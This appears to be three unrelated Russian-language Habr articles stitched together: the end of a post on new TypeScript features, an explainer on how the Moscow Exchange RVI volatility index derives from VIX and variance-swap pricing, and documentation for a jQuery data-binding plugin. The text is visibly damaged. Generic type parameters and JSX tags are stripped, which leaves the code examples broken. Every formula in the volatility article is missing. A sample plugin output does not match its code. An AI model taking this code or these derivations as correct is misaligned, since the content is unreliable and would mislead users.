Больше примеров можно найти по ссылке [github.com/Microsoft/TypeScript/pull/3266](https://github.com/Microsoft/TypeScript/pull/3266)
#### **Алиасы для генериков**
Новая возможность позволяет задавать псевдонимы на генерики. Пример кода:
```
type Source = T | (() => T);
function unwrap(p: Source) {
return (typeof p === "function") ? p() : p;
}
```
Больше примеров можно найти по ссылке [github.com/Microsoft/TypeScript/issues/1616](https://github.com/Microsoft/TypeScript/issues/1616)
#### **Class expressions**
У нас всегда была возможность объявлять классы. Теперь есть возможность описывать классовые выражения. Такие выражения представляют из себя анонимные классы, по аналогии с анонимными функциями. Пример кода:
```
var Rect = class {
area: number;
constructor(public length: number, public width: number) {
this.area = this.length * this.width;
}
}
var rect = new Rect(5, 10);
var MyNode = class Node {
next: Node;
set nextNode(node: Node) {
this.next = node;
}
constructor() {}
}
var node = new MyNode();
var nextNode = new MyNode();
node.nextNode = nextNode;
```
#### **Абстрактные классы**
Тут все просто. У нас появилось ключевое слово abstract, которое, как и в других языках программирования, ставится перед определением класса и/или метода. В итоге мы можем объявить класс с реализацией, но от него нельзя создавать экзмепляры объектов.
```
type int = number;
abstract class A {
foo(): int { return bar(); }
abstract bar() : int;
}
class B extends A {
bar() {
return 42;
}
}
new A(); // Error!
new B(); // OK
```
#### **User defined type guard functions**
Это интересная синтаксическая конструкция, которая позволяет описывать функции проверки без дополнительных условий. Примеры:
```
function isCat(a: Animal): a is Cat {
return a.name === 'kitty';
}
var x: Animal;
if(isCat(x)) {
x.meow(); // OK, x is Cat in this block
}
```
#### **React/JSX = TSX**
В компиялторе появилась новая опция --jsx react. Если она указана, то происходит транспилирование JSX синтаксиса прямо в TS файлах. Точнее даже TSX (по аналогии с JSX). Пример такого кода:
```
export interface ITodoItemState {}
export interface ITodoItemProps {
item: ITodo;
onRemove?: (todo: ITodo) => any;
key?: number;
}
export class TodoItem extends React.Component {
constructor () {
super();
this.removeItem = this.removeItem.bind(this);
}
removeItem () {
this.props.onRemove(this.props.item);
}
render () {
return (
- {this.props.item.description}
delete
);
}
}
```
До сегодняшнего дня, чтобы разрабатывать на React+TypeScript, приходилось использовать либо React templates (что мы и делаем в Tutu.ru), либо вовсе отказаться от JSX синтаксиса. Но теперь у нас появляется возможность использования JSX, что называется, из коробки. Любителям React это должно понравиться.
Есть два режима работы:
* --jsx preserve — на выходе получаем JSX
* --jsx react — на выходе получаем обработанный JS
А вообще получилась хорошая альтернатива бабелю. Я бы даже сказал что конкуренция (в некоторых вещах). Если вы используете BabelJS + Flow, то посмотрите на TS. Он для энтерпрайза больше подходит. Но это мое имхо, так что на вкус и цвет. | https://habr.com/ru/post/269069/ | null | ru | null |
# How-to: Что такое Russian Volatility Index и как он рассчитывается
**Примечание:** *Данный текст публикуется в рамках эксперимента — в нашем блоге мы осветили уже довольно большое количество вводных теоретических аспектов фондового рынка. Сегодня мы попытаемся «перейти на следующий уровень» и поговорить о более глубокой и сложной теме — индексах волатильности, в частности, подобного индекса для российского рынка.*
16 апреля 2014 года Московская Биржа запустила расчет и публикацию нового индекса волатильности российского рынка — индекса RVI.
В [пресс-релизе](http://moex.com/n5320) биржи по случаю запуска индекса RVI указано, что новый индекс позволяет оценить уровень волатильности российского рынка, а также расширяет финансовые возможности опционных трейдеров, хеджеров и институциональных инвесторов.
Индекс RVI рассчитывается согласно пяти основным принципам:
1. Индекс рассчитывается для получения значений тридцатидневной волатильности;
2. Расчет осуществляется на основе двух серий опционов на фьючерс на Индекс РТС, а именно: опционы ближайшей и следующей серий, входящие в квартальную или месячную серии, но не входящие в недельную серию, срок до даты экспирации которых включительно составляет более 7 дней;
3. В расчет индекса также входят котировки фьючерсов, являющихся базовым активом опциона ближайшей серии и опциона следующей серии.
4. В случае отсутствия котировок и сделок предусмотрена возможность расчета Индекса RVI по теоретической цене опциона, определяемой на основании котировки фьючерса, являющегося базовым активом такого опциона, и кривой волатильности на момент расчета;
5. Индекс рассчитывается каждые 15 секунд в течение основной и вечерней торговых сессий на Срочном рынке (с 10:00 до 18:45 и с 19:00 до 23:50 мск).
Согласно «Методике расчета Индекса волатильности российского рынка», утвержденной решением Правления ОАО Московская Биржа (Протокол №24 от 11 апреля 2014 г.), индекс RVI рассчитывается по формуле:
где
Т365 – 365 дней в долях от календарного года (год = 365 дней);
Т30 – 30 дней в долях от календарного года (год = 365 дней);
Т1 – время до даты экспирации ближайшей серии опционов включительно в долях от календарного года (год = 365 дней);
Т2 – время до даты экспирации следующей серии опционов включительно в долях от календарного года (год = 365 дней);
σ1 – подразумеваемая волатильность ближайшей серии опционов;
σ2 – подразумеваемая волатильность следующей серии опционов.
Волатильности ближайшей и следующей серий опционов определяются уравнениями:
где
ΔKi – шаг страйка (в целях расчета Индекса используются основные страйки, промежуточные страйки не используются);
Т1 – время до даты экспирации опциона ближней серии включительно в долях от календарного года (год = 365 дней). Изменяется каждые 15 секунд;
Т2 – время до даты экспирации опциона дальней серии включительно в долях от календарного года (год = 365 дней). Изменяется каждые 15 секунд;
Ki – i-й страйк. При этом (в целях расчета Индекса используются основные страйки, промежуточные страйки не используются);
F1, F2– котировки фьючерсных контрактов, являющихся базовым активом опциона ближайшей серии и опциона следующей серии соответственно.
Котировка фьючерсного контракта равна либо цене последней сделки, либо цене лучшей активной заявки на продажу, которая меньше цены последней сделки, либо цене лучшей активной заявки на покупку, которая больше цены последней сделки в текущий момент. В случае если сделок в текущей сессии до момента расчета котировки фьючерсного контракта не было, используется среднеарифметическое значение между ценами лучшей активной заявки на покупку и лучшей активной заявки на продажу. Если на момент расчета активные заявки на покупку и активные заявки на продажу отсутствуют, используется расчетная цена, определенная по итогам ближайшего предыдущего расчетного периода.
Pr(Ki) – стоимость опциона для i-го страйка, определяемая по определенному алгоритму [1].
Подробно с методикой расчета индекса RVI можно ознакомиться на сайте Московской Биржи в разделе «Индексы/Индекс волатильности». К сожалению там вы не найдете ссылок на ресурсы, объясняющие каким образом получены указанные выше формулы, и какой они несут экономический смысл. Для поиска первоисточников обратимся к методике расчета индекса волатильности Чикагской Биржи CBOE — VIX.
#### The CBOE Volatility Index — VIX
В 1993 году Chicago Board Options Exchange (CBOE) начала рассчитывать и публиковать значения CBOE Volatility Index (VIX). Данный индекс волатильности был создан для оценки рыночных ожиданий относительно 30-дневной волатильности и рассчитывался с использованием рыночных цен at-the-money опционов на S&P 100 Index (OEX). Спустя 10 лет в 2003 году CBOE совместно с Goldman Sachs обновила методику расчета VIX. Новый VIX основан на S&P 500 Index (SPX) и оценивает ожидаемую волатильность с помощью усреднения цен опционов на SPX, выбранных по широкому списку страйков с определенными весами. Позволяя выражать показатель волатильности через портфель SPX опционов, новая методология трансформировала VIX из абстрактной концепции в практический стандарт торговли и хеджирования волатильности.
В марте 2004 года CBOE выводит на биржу первый фьючерсный контракт на VIX. Двумя годами позже в феврале 2006 CBOE запускает VIX опционы, самый успешный продукт в истории биржи [2].
> Напомню, что Московская Биржа в лице Романа Сульжика в апреле текущего года сообщила, что планирует этим летом запустить фьючерсный контракт на индекс волатильности RVI. Будем надеяться, что это произойдет в заявленные сроки, и что новый продукт будет востребован рынком.
Обобщенная формула для расчета VIX имеет вид:
где
σ – VIX/100;
T – время до экспирации (в годах);
F – цена форварда на индекс S&P 500, получаемая из цен опционов SPX;
K0 – страйк ближайший снизу к цене форварда на индекс;
Ki – страйк i-го out-of-the-money опциона call, если Ki > K0, или put, если Ki < K0, и обоих put и call, если Ki=K0;
ΔKi – интервал между страйками, половина разницы между страйками с каждой стороны от Ki:
**Замечание:** *ΔKi для самого нижнего страйка равен разнице между самым нижним страйком и следующим страйком. Для самого верхнего страйка — разница между самым верхним и предыдущим.*
R – безрисковая ставка к экспирации;
Q(Ki) – среднее значением между ценами bid и ask для опциона со страйком Ki, для K0 — это среднее цен bid и ask двух опционов put и call.
VIX измеряет 30-дневную ожидаемую волатильность индекса S&P 500. Компонентами VIX являются опционы call и put ближней и следующей серий, обычно это первый и второй месячные контракты SPX. Ближняя серия должна иметь срок как минимум одну неделю до экспирации.Для каждой выбранной опционной серии вычисляется квадрат волатильности – sigma21 и sigma22 по формуле (4). Далее находится их 30-дневное взвешенное среднее по формуле:
Сопоставив формулы (1 — 3) и (4 — 5) между собой, приходим к выводу, что индекс волатильности Московской Биржи RVI является точной копией индекса Чикагской опционной биржи VIX. Отличие RVI от VIX лишь в отсутствии фактора роста eRT, а также в способе определения опционов, участвующих в расчетах, и их цен. Первое следует из того, что в расчетах индекса RVI участвуют опционы на фьючерсный контракт, а не equity актив как у VIX. Последнее, вероятно, продиктовано низкой ликвидностью российского опционного рынка.
Документ CBOE [2], раскрывающий методику расчета VIX, содержит ссылку на материалы компании Goldman Sachs [3], в которых приводится описание способов оценки Volatility Swap и Variance Swap. Математика VIX тесно переплетена с математикой прайсинга свопов волатильности. И это не случайно, т.к. новый VIX (запущенный в 2003 г.) разрабатывался CBOE совместно с инвестиционным банком Goldman Sachs. Последний в свою очередь активно продвигал торговлю свопами на волатильность — в 1999 году была опубликована знаменитая статья «More than you ever wanted to know about volatility swaps», в которой авторы — количественные аналитики из Goldman Sachs дали описание методики оценки стоимости этих свопов. Идея создать индекс волатильности, привязанный к реальному инструменту, денежный поток которого напрямую зависит от этой волатильности, оказалась весьма успешной — фьючерсы и опционы на VIX приобрели большую популярность среди инвесторов.
#### Variance Swap
Как отмечено выше, методика расчета индекса VIX тесно связана с теорией свопов волатильности. Основой данного класса финансовых инструментов является понятие Variance Swap. Variance Swap (VS) — это форвардный контракт на годовую дисперсию (variance), квадрат реализованной волатильности (realized volatility). Формула выплаты на экспирацию по данному свопу описывается формулой:
где
σ2R — реализованная дисперсия акции, фьючерса, индекса и т.п., указанная в годовом выражении, за период обращения контракта;
Kvar — цена поставки контракта;
N — номинал свопа на единицу годовой дисперсии.
Владелец VS при экспирации контракта получит N долларов за каждый пункт, на который реализованная дисперсия σ2R превысит цену поставки Kvar. Поэтому справедливое значение дисперсии (по мнению рынка) равно цене поставки VS, при которой стоимость свопа будет нулевой. Справедливое значение дисперсии в данном контексте служит хорошим ориентиром для значения индекса волатильности VIX. Таким образом, методику оценки стоимости VS можно применять и в расчетах VIX.
Оценка стоимости VS производится с помощью стратегии репликации свопа через портфель опционов. В основе данной стратегии лежит понятие log-контракта — экзотического опциона на акцию (индекс, фьючерс и т.п.), хеджирование которого обеспечивает выплату эквивалентную дисперсии доходностей цен этой акции. Log-контракт в свою очередь может быть реплицирован через портфель ванильных опционов на тот же базовый актив. Это дает возможность выразить стоимость VS через цены опционов.
Обозначим `V` показатель чувствительности цены опциона CBS к дисперсии базового актива σ2 (назовем его Variance Vega), определяющий на сколько изменится цена опциона в случае изменения дисперсии его базового актива:
На Рисунке 1 представлены графики изменения показателя Variance Vega для опционов с различными страйками в зависимости от цены базового актива (левая часть), а также графики Variance Vega портфелей, состоящих из этих опционов (правая часть).
*Рис. 1: Variance Vega портфелей call опционов с различными страйками как функция цены базового актива. Каждый график слева показывает вклад отдельного опциона в `V` портфеля. Соответствующий ему график справа показывает сумму этих вкладов, взвешенных двумя способами: штриховая линия — с равными весами, сплошная линия — с весами обратно пропорциональными квадрату страйка. Число опционов увеличивается, а расстояние между страйками уменьшается от верхнего графика к нижнему*
Таким образом, Variance Vega портфеля, состоящего из опционов всех страйков, взвешенных обратно пропорционально квадрату страйка, не зависит от цены базового актива. Это как раз то, что нужно для торговли дисперсией. Как выглядит подобный портфель опционов, и каким образом торговля этим портфелем зависит от дисперсии базового актива?
Рассмотрим портфель `П(S, σ, τ)`, состоящий из опционов со всеми страйками K с одинаковым сроком до экспирации `τ`, взвешенными обратно пропорционально квадрату `K`. В виду того, что out-of-the-money опционы, как правило, более ликвидны, будем использовать put опционы `P(S, K, σ, τ)`для страйков `K`, принимающих значения от 0 до некоторой ориентировочной цены S\*, и call опционы `C(S, K, σ, τ)` для страйков от S\* до бесконечности. Цену S\* можно рассматривать как at-the-money уровень форварда на базовый актив (или цену фьючерса) со сроком `τ`, обозначающий границу между ликвидными put и call опционами.
В момент экспирации, когда t=T, можно показать, что суммарная выплата всех опционов указанного выше портфеля равна:
Аналогично, в момент времени t, просуммировав все цены опционов, стоимость портфеля составит:
Variance Vega данного портфеля:
Чтобы получить начальную Variance Vega в размере $1 на единицу квадрата волатильности необходимо открыть (2/T) единиц портфеля. Примем за `П` стоимость нового портфеля:
Первое слагаемое в выплате по портфелю из формулы (11) описывает 1/S\* форвардных контрактов на акцию с ценой поставки St. Это не опцион, это линейный актив, который может быть статически захеджирован, один раз и на весь период, без каких либо оценок волатильности акции. Второе слагаемое log(S\*/St) описывает короткую позицию по log-контракту с расчетной ценой S\*. Хеджирование данного контракта зависит от волатильности акции. Таким образом, чувствительность портфеля к волатильности базового актива полностью содержит в себе log-контракт.
Предположим, что динамику цен базового актива можно описать с помощью уравнения:
Для упрощения предположим также, что дивиденды по акциям не начисляются.
Формула для дисперсии случайного процесса имеет вид:
Процедура оценки свопа ничем не отличается от процедуры оценки любого другого производного инструмента. Стоимость форвардного контракта F на будущую реализованную волатильность со страйком K равна ожидаемой выплате в текущих ценах под риск нейтральной мерой:
где
**r** — безрисковая ставка, соответствующая времени T;
**E** — математическое ожидание.
Справедливой стоимостью будущей реализованной дисперсии является страйк Kvar, для которого текущая стоимость контракта равна нулю:
Используя формулы (13) и (15), получаем формулу для вычисления справедливой стоимости дисперсии:
Применив лемму Ито для log St, находим:
Вычитая (17) из (12), получаем:
Просуммировав (18) от 0 до T, получаем:
Данное тождество определяет стратегию репликации дисперсии. Первое слагаемое в скобках соответствует финансовому результату от непрерывной ребалансировки позиции в акциях таким образом, что стоимость 1/St акций в любой момент времени составляет $1. Второе слагаемое представляет собой статичную короткую позицию в контракте, выплата по которому на экспирацию составляет логарифм доходности акции за период.
Формула (19) предлагает метод вычисления справедливой стоимости дисперсии. При этом риск-нейтральное ожидаемое значение правой части формулы представляет собой стоимость репликации:
Ожидаемое значение первого слагаемого в скобках в формуле (20) составляет стоимость ребалансировки портфеля, состоящего из 1/St. В риск-нейтральном мире с постоянной безрисковой ставкой цена хеджирования такого портфеля составит:
Второе слагаемое — это log-контракт. В виду того, что не существует подобного свободно торгующегося контракта, для воспроизведения выплат по нему необходимо выделить из его профиля выплат на экспирацию линейную и нелинейную части и реплицировать каждую отдельно. Линейную часть можно продублировать с помощью форвардного контракта на акцию со сроком `T`, оставшуюся нелинейную часть — с помощью ванильных опционов со сроком экспирации `T`.
Для определения границы между ликвидными put и call опционами введем параметр S\*, обозначающий эту границу. Выплату по log-контракту представим в виде:
Второе слагаемое в правой части (22) — это константа, не зависящая от финальной цены акции ST, следовательно, должно быть реплицировано только первое слагаемое. Как его повторить известно из формулы (8) — это форвардный контракт плюс портфель опционов с весами обратными квадрату величины страйка:
Справедливое значение будущей дисперсии может быть связано с начальным справедливым значением каждого слагаемого в формуле (21). Используя равенства (21) и (23), получаем:
где `P(K)` и `C(K)` означают, соответственно, текущие справедливые цены put и call опционов со страйком K. Если используются текущие рыночные цены опционов, получается текущая рыночная оценка будущей дисперсии. Именно эта формула лежит в основе расчета индекса волатильности VIX.
Формула (4) —это дискретная копия формулы (24), из которой убраны первые три слагаемых (вероятно, для упрощения). Определенные интегралы представлены в виде соответствующих сумм. Последнее слагаемое в формуле (4) — это элемент корректировки в случаях, когда цена форварда `F` не совпадает с центральным страйком K0.
#### Заключение
В основе расчета индекса волатильности российского рынка RVI лежит методика вычисления индекса волатильности VIX Чикагской биржи. Согласно данной методике значение индекса представляет собой взвешенное среднее волатильностей двух опционных серий. Данное усреднение предполагает, что в результате получится значение волатильности, соответствующее 30-дневному периоду. Методика расчета волатильности для каждой опционной серии, участвующей в расчетах VIX (и RVI), основывается на теории оценки свопов волатильности, подробно описанной в [3]. Моделирование справедливой стоимости свопа волатильности имеет ряд допущений, одно (и основное, по мнению автора) из них — это то, что динамика цен представляет собой геометрическое броуновское движение, т.е. непрерывный процесс без скачков (jumps). Это допущение может послужить причиной недооценки волатильности индексами VIX и RVI.
##### Список литературы
1. Методика расчета Индекса волатильности российского рынка, Московская Биржа, 11.04.2014, [fs.moex.com/files/6756](http://fs.moex.com/files/6756)
2. The CBOE Volatility Index – VIX, the Chicago Board Options Exchange, September 22, 2003, [www.cboe.com/micro/VIX/vixwhite.pdf](http://www.cboe.com/micro/VIX/vixwhite.pdf)
3. More than you ever wanted to know about volatility swaps, Demeterfi K., Derman E., Kamal M. and Zou J., Goldman Sachs Quantitative Strategies Research Notes, March 1999
**Автор:** Олег Мубаракшин, [Quant Lab](http://quant-lab.com)
**Посты и ссылки по теме:**
* [Инструментарий фондового рынка: что такое опционы, и как они работают](http://habrahabr.ru/post/226829/)
* [Как стать квантом в HFT-компании](http://habrahabr.ru/post/214883/)
* [How-to: как выбрать язык программирования для создания торгового робота](http://habrahabr.ru/post/216937/)
* [Какие языки программирования наиболее востребованы в сфере финансов](http://habrahabr.ru/company/itinvest/blog/220605/)
* [Аналитические материалы о фондовом рынке от экспертов ITinvest](http://www.itinvest.ru/analytics/) | https://habr.com/ru/post/231863/ | null | ru | null |
# Плагин Events для jQuery
Я разработал свободный плагин **Events** для **jQuery**. После чего плагин выложил на [**GitHub**](https://github.com/korenevskiy/Events-plugin-for-jQuery).
Назначение плагина, позволить привязывать теги к переменным.
В последствии чего задав новое значение переменной все привязанные теги на странице обновятся.
**Простой Пример**
У нас имеются теги для отображения данных:
```
0
0
0
0
```
**Вначале мы привязываем значения HTML тэгов и функций к имени переменной.**
```
jQuery().event('cost', '.amount');
jQuery().event('cost', '.cart_cost');
jQuery().event('cost', '.order_cost');
jQuery().event('cost', '.order_cost_tax',function(){ return this*1.2});
jQuery().event('cost', function(){ console.log('Стоимость продуктов:',this)});
```
**Теперь зададим значение переменной.**
```
jQuery().var('cost',200);
```
Одной командой мы разместили во всех привязанных тегах к переменной cost значение 200, а в теге .order\_cost\_tax разместили значение 240, что на 20% больше чем значение переменной.
**Результат:**
```
200
200
200
240
```
Написав этот плагин я обнаружил для себя аналогичную функциональность `(bind(),on(),trigger())` из коробки в jQuery. Но изучив, я выяснил что функции `(bind(),on(),trigger())` работают только с функциями. А мой плагин рассчитан в основном на привязку к HTML тегам и отображение информации согласно форматированию строк.
Я понимал что этот плагин будет выполнять функции React и Angular. Но это не совсем так.
Задача плагина Events быть понятным, простым для новичков, и выполнять свои функции для тех у кого уже подключен jQuery.
Много разработчиков используя jQuery подключают дополнительно весь React чтобы только связывать переменные. А ведь разработчику нужно на сайте только список цен скопировать в корзину.
Это плагин для большинства компаний сайт которых выполняет функцию формы заказа и продажи услуг. Этот плагин предназначен для лендингов для продажи и заказа всего нескольких услуг, т.е. для простых сайтов с простой функциональностью.
Например сайт для фирм: Стоматологического кабинета, или фирмы по продаже могильных плит, мебели или ремонт квартир.
**Особенность плагина в том что мы имеем:**
* форматирование строк
* Привязка объектов
* Привязки постоянная или только на один раз для тега или функции.
* Форматирование строк для каждой отдельной привязки.
Продолжу описание.
**Теперь зададим новое значение:**
```
jQuery().var('cost',6000);
```
**Результат:**
```
6000
6000
6000
7200
```
Задав функцией jQuery().var('cost',6000); мы автоматически меняем все значения привязанные к cost.
#### Удаляем привязку к переменной
```
jQuery().event('cost', false);
```
//Все теги и функции привязанные к переменной cost будут удалены.
**Второй пример**
#### Форматирование строк
**Создаем новую привязку к переменной:**
```
jQuery().event('cost', '.amount', 'Это общая сумма покупки {0} $');
jQuery().event('cost', '.cart_cost', 'Сумма {0} $');
jQuery().event('cost', '.order_cost', '{0} $');
jQuery().event('cost', '.order_cost_tax',function(){return 'Сумма с налогом ${this*1.2} $'});
```
**Заносим**
```
jQuery.var('cost',20);
```
**Результат:**
```
Это общая сумма покупки 20 $
Сумма 20 $
20 $
Сумма с налогом 24 $
```
Создав форматирование в привязке к тегу. Мы больше не думаем и не беспокоимся об форматах при поступлении новых значений.
Теперь указывая jQuery().var('cost',20); новые значения автоматически отображаются в привязанных HTML тегах.
#### Удаляем привязку к переменной
```
jQuery().event('cost', false);
```
//Все теги и функции привязанные к переменной cost будут удалены.
**Третий пример**
#### Привязка объекта
```
jQuery().event('cost', '.amount', 'Покупатель {FirstName} {LastName} покупок на сумму {Cost} $.');
jQuery().event('cost', '.cart_cost', 'Средняя цена {Cost} $ с количества продуктов {CountProducts}');
jQuery().event('cost', '.order_cost', '{FirstName}: {Cost} $');
jQuery().event('cost', '.order_cost_tax',function(){ let averagePrice = this.Cost/this.CountProducts; return 'Средняя цена: ${averagePrice} $ с налогом ${averagePrice*1.2} $.'});
```
#### Заносим объект в привязку
```
let user = {FirstName:'Мадонна',LastName:'Чикко́не',Cost:20,CountProducts:4};
jQuery().var('cost',user);
```
**Результат**
```
Покупатель Мадонна Чикко́не покупок на сумму 20 $.
Средняя цена 20 $ с количества продуктов 4
Мадонна: 20 $
Средняя цена: 5 $ для 6 $ с налогом.
```
Создав форматирование в привязке к тегу. Мы больше не думаем и не беспокоимся об форматах при поступлении новых значений.
Теперь указывая
```
jQuery().var('cost',20);
```
новые значения автоматически отображаются в привязанных HTML тегах.
#### Формат Привязок
```
jQuery().event(variableName, SelectorName);
jQuery().event(variableName, function(e){}); //Привязка функции
jQuery().event(variableName, false, SelectorName); //Привязка функции только один раз
jQuery().event(variableName, false, function(e){}); //Привязка функции только один раз
jQuery().event(variableName, SelectorName, FormatString); //Привязка к селектору с Форматированием строки
jQuery().event(variableName, SelectorName, function(e){}); //Привязка к селектору элементов с Форматированием строки в функции
jQuery().event(variableName, SelectorName, false); // Отвязка селектора элемента
jQuery().event(variableName, bindName, SelectorName);//Привязка элементов селектора с именем для последующей отвязки
jQuery().event(variableName, bindName, function(e){}); //Привязка функции с именем, для последующей отвязки
jQuery().event(variableName, bindName, false); // Отвязка одного элемента по имени
jQuery().event(variableName, false); //Отвязка всех привязанных элементов для одной переменной
```
#### Формат Переменной
```
let name=jQuery().var(variableName); // Получение значения переменной
jQuery().var(variableName,variableValue); // Установка значения переменной
jQuery().var(variableName,variableObject); // Установка объекта переменной
jQuery().var(variableName,null); // Удаление переменной
```
#### Формат функции события:
```
function(e){
e.unbind(); //Отвязка функции.
e.id; //селектор элемента
e.elements; //jQuery элементы
e.value; //Используется для получения значения заданной переменной.
this; //Используется для получения значения заданной переменной.
return false; //Отвязка этой функции от переменной.
return "Дорогой {0} мой клиент!"; //Возвращает форматированную строку для показа в HTML
return 'Строка показываемая в HTML элементе'; // Возвращает строку для показа в HTML элементе
}
```
#### Формат строк
`{this} - указание значения переменной в строке;
{0} - указание значения переменной в строке;
{value} - указание значения переменной в строке;
{FirstProp} - указание свойства объекта в строке
{SecondProp} - указание свойства объекта в строке
{ThirdProp} - указание свойства объекта в строке
Пример 1: "Дорогой {0} мой клиент!"
Пример 2: "Дорогой {FirstProp} {SecondProp} мой клиент"`
#### Альяс плагина (Короткая форма функций)
```
jQuery.e(); //альяс для jQuery().event()
jQuery.v(); //альяс для jQuery().var()
//Пример:
$.e('cost','.cost'); // Короткая запись для Event
$.v('cost',100); // Короткая запись для Var
```
#### Эпилог
Многие скажут, что jQuery уже свое отжил и он не удовлетворяет потребностям рынка, и поэтому для него писать плагин нет смысла.
А я отвечу, что ведь потому и не удовлетворяет, что в нем не было простых всем нужных функций.
Теперь буду надеяться, что мир станет немножко лучше. И надеюсь что теперь на свет появилось что-то интересное.
*Как думаете у Вас бы лично пригодился бы плагин в одном из Ваших проектов?* Буду рад любым комментариям.
Ваш Сергей.
**PS** Комментатор [friday](https://habr.com/ru/users/friday/) заметил что эта библиотека не умеет привязывать Списки по шаблону, как это умеют делать `backbone` с `marionette`.
Это не так, вот совсем простой пример в прежней версии:
#### Привязка массива объектов
```
jQuery().event('listUsers','.listUser',function(){
let html = '';
for(let user of this){
html += " ${user.FirsName} ${user.LastName} зарплата: ${user.Amount} ₽ ";
}
return html;
});
let users = [
{FirsName:'Сергей',LastName:'Кореневский',Amount:'5000000' },
{FirsName:'Иван',LastName:'Васютин',Amount:'1000000' },
{FirsName:'Вика',LastName:'Мальцева',Amount:'5000000' },
];
jQuery().var('listUsers',users,'');
//3-й параметр ''(пустая строка) в меоде var() сообщает что массив/объект будет применен целиком к тегу или функции. Подробнее смотреть
```
#### Дополнение статьи, модификация плагина для расширение возможностей
Благодаря справедливой критике комментаторов ниже. Я доработал и добавил новые функции:
1. Динамическая привязка массива
2. Динамическая привязка объекта
3. Загрузка и выгрузка всех привязок в плагин одной коллекцией.
4. Форматирование строки с данными объекта ~~почти готово~~.
#### Динамическая привязка массива
Это позволяет добавлять элемент или свойства привязанного массива или объекта динамически, добавляя(изменяя, удаляя) дочерний тег.
Пример:
```
```
Привязываем:
```
jQuery().event('users', '.people');
```
Создаем объект и применяем
```
var usersList =[
'Сергей Кореневский',
'Виктория Мальцева',
'Мадонна Чиконе',
.........
];
jQuery().var('users', usersList);
```
**В результате получаем:**
```
Сергей Кореневский
Виктория Мальцева
Мадонна Чиконе
```
А также мы теперь можем добавлять(изменять, удалять) динамически элементы списка.
```
jQuery().var('users', 'Бред Пит', true);// формат Добавления нового элемента
```
**Результат:**
```
Сергей Кореневский
Виктория Мальцева
Мадонна Чиконе
Бред Пит
```
В списке добавилась новая позиция.
Теперь мы удалим и изменим одну из существующих позиций ссылаясь только лишь на привязанный массив.
```
jQuery().var('users', 'Мадонна Чиконе', false);// формат Удаления элемента
jQuery().var('users', 'Анджелина Джоли', 1);// формат Изменения элемента с индексом 1
jQuery().var('users', null, 3);// формат Удаления элемента с индексом 3
jQuery().var('users', 'Дженифер Лопез', true);// формат Добавления нового элемента
jQuery().var('users', 'Дженифер Лопез', 5);// формат Добавления нового элемента с индексом 5
```
1.Мы удалили тэг с 'Мадонна Чиконе' в списке, удалив элемент массива с этим именем.
2.Мы изменили содержимое тега с индексом 1 в массиве на 'Анджелина Джоли'.
3.Мы удалили тег с содержимым, удалив позицию в массиве по индексу
4.Добавили новый тег с содержимым 'Дженнифер Лопез' в конец списка.
5.Добавили новый тег с содержимым 'Дженнифер Лоуренс' добавив в массив по индексу 5.
#### Динамическая привязка объекта
```
```
```
jQuery().event('user', '.person');//Привязываем к тегу HTML
var userData ={
FirstName:'Сергей',
LastName:'Кореневский',
salary: 200000,
};
jQuery().var('user', userData);//Фиксируем значение в HTML
```
**Результат:**
```
Сергей
Кореневский
200000
```
Меняем значения объекта привязанного к HTML по аналогии с массивом:
```
jQuery().var('user', null,'FirstName');// формат Удаления свойства
jQuery().var('user', 'Герой','FirstName');// формат добавления нового свойства
jQuery().var('user', 500000,'salary');// формат изменения значения свойства элемента.
//Так же как с форматом привязки массива можно добавлять новые свойства с индексом.
//Привязка объекта содержит в себе функционал для привязки массива.
//Разницы нет, либо указываем 3-им параметром индекс массива, либо имя свойства объекта.
```
#### Формат 3-его параметра метода VAR():
```
jQuery().var('users', ОбъектМассив, '');//3й параметр ('') пустая строка. Применить объект/массив целиком для тега/функции
jQuery().var('users', ОбъектМассив, null);//3й параметр (null). Применять объект/массив каждый раз для каждого дочернего тега/функции, создавая вложенные теги.
jQuery().var('users', ОбъектМассив, undefined);//3й параметр (undefined). Применять объект/массив будет по разному:
//если ОбъектМассив будет массивом то будет применяться каждый раз для дочерних тегов/ф-ии в виде списка, так же как jQuery().var('users', ОбъектМассив, null) для массива
//если ОбъектМассив будет объектом то примениться объект целиком для тега/ф-ии к одной строке, так же как jQuery().var('users', ОбъектМассив, '') для объекта
//если ОбъектМассив будет обычным значением, то применит целиком для тега/ф-ии.
jQuery().var('users', ЗначениеCвойства, false);// формат Удаления элемента с этим значением из уже примененного объекта/массива
jQuery().var('users', ЗначениеCвойства, true);// формат Добавление нового свойства к уже существующему объекта/массива.
jQuery().var('users', ЗначениеCвойства, 3);// формат Изменения свойства с индексом 3 у объекта/массива.
jQuery().var('users', null, 3);// формат Удаления элемента с индексом 3
jQuery().var('users', ЗначениеCвойства, 'Имя свойства');// формат Изменения свойства у объекта/массива.
jQuery().var('users', null, 'Имя свойства');// формат Удаления свойства у объекта/массива.
jQuery().var('users', ЗначениеCвойства, {property:'Имя свойства',... и пр.});// формат задания особых параметров значений/объектов/массивов для применений новых значений в любых из выше используемых вариантах, а так же с поддержкой дополнительных параметров со своими форматами строк, тегами, классами, и пр.
```
#### Расширенный функционал/ Формат 3-го параметра как объекта для метода VAR()
```
let setting = {
tagListItem: 'li', //Имя тэга для дочернего элемента, по умолчанию DIV
classListItem:'classTagChildren', //Имя класса тега дочернего элемента
onlyone: true, //Параметр выполнения привязанного события только один раз.
format: '{this}',//форматирование строки для дочерних тегов объекта или для простого значения
anyData: {data1:'Какая то инфа'},//Любая инфа которая может быть нужна в привязанном методе.
};
//объект setting полностью передается в привязываемый метод, Вы можете указывать здесь любые данные для передачи.
jQuery().event('user', '.person',setting);//Привязываем только этот тег с новыми параметрами.
jQuery().var('user', user, setting);//Передаем новые параметры всем привязкам только этого объекта.
```
#### Загрузка/выгрузка привязок
```
let events = {};
events['user']['.person'] = function(value,data){ return 'Имя {value.name}, на руки '+(0.8*value.salary)};
events['user']['.status'] = 'Мой имя {value}, моя зарплата {salary}';
jQuery().event(events);//Загрузка всех привязок в плагин
let eventsUser = {};
eventsUser['.person'] = function(value,data){ return 'Имя {value.name}, на руки '+(0.8*value.salary)};
eventsUser['.status'] = 'Мой имя {value}, моя зарплата {salary}';
jQuery().event('user', eventsUser);//Загрузка всех привязок в плагин только для переменной users.
//'user' - имя переменной /Первый параметр в как для метода $.event()
//'.status', '.person' - Срока селектора /Второй параметр в как для метода $.event()
jQuery().event();//Выгрузка всех привязок из плагина.
jQuery().var();//Выгрузка всех переменных из плагина.
jQuery().var([...]);//Загрузка всех переменных в плагин.
```
#### Новый план
1. Доработка форматирование строк
